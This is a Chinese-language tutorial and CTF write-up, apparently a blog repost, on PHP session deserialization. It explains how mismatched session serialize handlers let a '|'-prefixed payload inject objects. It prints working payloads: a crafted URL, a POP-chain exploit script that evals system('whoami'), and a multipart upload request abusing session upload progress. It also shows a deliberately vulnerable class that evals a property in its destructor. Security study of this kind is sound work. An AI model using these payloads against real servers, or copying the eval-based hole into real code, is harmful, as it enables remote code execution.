zoukankan      html  css  js  c++  java
  • PHP session与反序列化

    php存储session有如下三种模式 :

    1、php_serialize
    2、php
    3、binary

    php中session文件存储的位置根据php.ini里面设置session.save_path存储的位置来决定的

    设置SESSION序列化规则根据php.ini里面的session.serialize_handler来决定的

    在LINUX中 当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp),具体还要看管理员的设置

    注意,php_serialize在5.5版本后新加的一种规则,5.4及之前版本,如果设置成php_serialize会报错

    session.serialize_handler = php    一直都在 它是用 | 分割
    session.serialize_handler = php_serialize    5.5之后启用 它是用serialize反序列化格式分割

    以 php 存储session的情况如下:

    测试代码:

    <?php
    
    ini_set('session.serialize_handler', 'php');
    
    session_start();
    
    $_SESSION['a'] = 'aaaaaaaaaaaaaaa';
    
    

    结果如下:可以看出,当SESSION存储模式为php的时候,它的存储规则为SESSION中元素的名称 | s:SESSION元素中的字符串的数量:"SESSION元素中的字符串"; 也就是 键和值中间用 ' | ' 来分割

    以 php_serialize 存储session的情况如下:

    <?php
    
    ini_set('session.serialize_handler', 'php_serialize');
    
    session_start();
    
    $_SESSION['a'] = 'aaaaaaaaaaaaaaa';
    
    
    

    结果如下:可以看出,当SESSION存储模式为php_serialize的时候,它的存储规则为跟正常的序列化函数serialize规则是一样的

    SESSION文件命名规则:sess_sessionid

    PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。如果 PHP 在反序列化存储的 $_SESSION 数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据。常见的比如存入session时用的处理器为php_serialize,反序列化时用的处理器是php

    观察如下两个文件,发现指定了不同的session处理器进行处理,写入的时候为php_serialize,读取的时候为php,那么此时就有可能造成SESSION反序列化的操作

    文件A:

    <?php
    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION["spoock"]=$_GET["a"];
    

    文件B:

    <?php
    ini_set('session.serialize_handler', 'php');
    session_start();
    class lemon {
        var $hi;
        
        function __construct(){
            $this->hi = 'phpinfo();';
        }
    
        function __destruct() {
            eval($this->hi);
        }
    }
    

    访问A文件:http://127.0.0.1/A.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

    此时存储的值为如下:

    a:1:{s:6:"spoock";s:48:"|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}";}

    那么当session处理器模式为php的时候,它的处理方式为键值方式,a:1:{s:6:"spoock";s:48:"为键,O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}";}为值

    此时$this->hi的值就为echo "spoock";",传入的数据会按照php_serialize来进行反序列化,最后带入eval被执行输出

    再来看一道CTF的题目

    需要先知道的是:

    session.upload_progress.enabled,当它为开启状态时,PHP能够在每一个文件上传时监测上传进度。

    当一个上传在处理中,同时POST一个与php.ini中设置的session.upload_progress.name同名变量时,上传进度就可以在$_SESSION中获得。

    当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefix与 session.upload_progress.name连接在一起的值。

    假如说正常服务器php使用的是php_serialize处理器时,若post:name=xiaoming&passwd=123456|aaaaaaaaa

    则session中存的就是a:2:{s:4:"name";s:8:"xiaoming";s:6:"passwd";s:16:"123456|aaaaaaaaa";},若还用php_serialize读取数据的话还能读取到正常数据

    但若以php处理器读取时得到的就是键为a:2:{s:4:"name";s:8:"xiaoming";s:6:"passwd";s:16:"123456,

    值为|后面的序列化字符串反序列化后的数据(因为php处理器存储的格式是:键名|反序列后的值)

    当前代码的话没有向服务器提交数据,但是现在session.upload_progress.enabled是开启的,所以可以通过上传文件,从而在session文件中写入数据

    注意:复现的时候session.upload_progress.cleanup记得为off,因为on的时候一旦读取了所有POST数据,立即清除进度信息,默认是开启的!

    exp:

    <?php
    class foo1{
        public $varr;
        function __construct(){
            $this->varr = new foo2();
        }
    }
    
    class foo2{
        public $varr;
        public $obj;
        function __construct(){
            $this->varr = '1234567890';
            $this->obj = new foo3();
        }
        function __toString(){
            $this->obj->execute();
            return $this->varr;
        }
    }
    
    class foo3{
        public $varr='system("whoami");';
        function execute(){
            eval($this->varr);
        }
    }
    
    var_dump(serialize(new foo1()));
    ?>
    

    那么先模拟上传包

    ------WebKitFormBoundaryAZdoD8jYWW22EPEX
    Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
    
    |O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:17:"system("whoami");";}}}
    ------WebKitFormBoundaryAZdoD8jYWW22EPEX
    Content-Disposition: form-data; name="file"; filename="1.txt"
    Content-Type: text/plain
    
    123
    ------WebKitFormBoundaryAZdoD8jYWW22EPEX--
    

    当前记录当前的session值:a2bara3rc31u9juofds23benu2

    此时session文件中的值为:

    然后再去访问index.php,该文件解析session模式为 php,所以我们在上传的时候前面需要添加|来进行识别,|后面才是主要的内容

    命令执行成功

    参考文章:https://www.jianshu.com/p/fba614737c3d
    参考文章:https://www.jb51.net/article/107101.htm

  • 相关阅读:
    javascript之数组去重方法
    经典问题之爬楼梯
    javascript之事件循环机制
    javascript之闭包
    javascript之动态改变this上下文
    块级元素的垂直居中对齐
    js数组对象
    javascript-冒泡法排序
    javascript-数组
    javascript-循环
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/12717090.html
Copyright © 2011-2022 走看看